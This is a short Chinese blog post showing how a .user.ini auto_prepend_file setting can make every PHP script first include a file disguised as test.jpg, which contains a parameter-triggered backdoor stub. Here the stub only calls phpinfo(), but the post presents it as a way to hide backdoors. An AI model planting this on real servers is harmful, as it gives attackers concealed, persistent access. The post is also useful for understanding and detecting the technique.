利用.user.ini文件隐藏后门
2019-04-24 本文已影响33人
老夫不才
0x00 前言
在PHP中有个很有趣的东西叫.user.ini,有点类似.htaccess文件,PHP会在每个目录下扫描INI文件,我们可以通过.user.ini文件来实现隐藏后门的效果
官方手册地址:传送门
官方手册
通过阅读手册,我们知道在.user.ini中可以识别PHP_INI_PERDIR
和PHP_INI_USER
模式的INI
设置
关于PHP_INI_*
一共有四种:
模式 | 含义 |
---|---|
PHP_INI_USER | 可在用户脚本以及.user.ini中设定 |
PHP_INI_PERDIR | 可在php.ini,.htaccess或httpd.conf中设定 |
PHP_INI_SYSTEM | 可在php.ini或httpd.conf中设定 |
PHP_INI_ALL | 可在任何地方设定 |
![](https://img.haomeiwen.com/i9144690/20680664809a392d.png)
发现了一个比较有意思的配置项:
auto_prepend_file
![](https://img.haomeiwen.com/i9144690/eb0f5de808cfc33d.png)
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门
0x01 Action
这里由于要使用FastCgi解析php,所以在PHPStudy里面选的环境是php-5.6.27-nts + Nginx
![](https://img.haomeiwen.com/i9144690/e5ebba138e309b9f.png)
然后在目录下创建一个
.user.ini
文件,内容如下
auto_prepend_file=test.jpg
然后再创建一个test.jpg文件,内容如下
<?php
if(@$_GET['shell']=='test'){
phpinfo();
}
?>
这时,我们访问一个正常的php文件
![](https://img.haomeiwen.com/i9144690/f000ebae4bf47ac5.png)
然后再带上参数
shell=test
![](https://img.haomeiwen.com/i9144690/2b050d9ca26a8906.png)
就可以实现我们的隐藏后门了,具体如何利用就看各位的脑洞了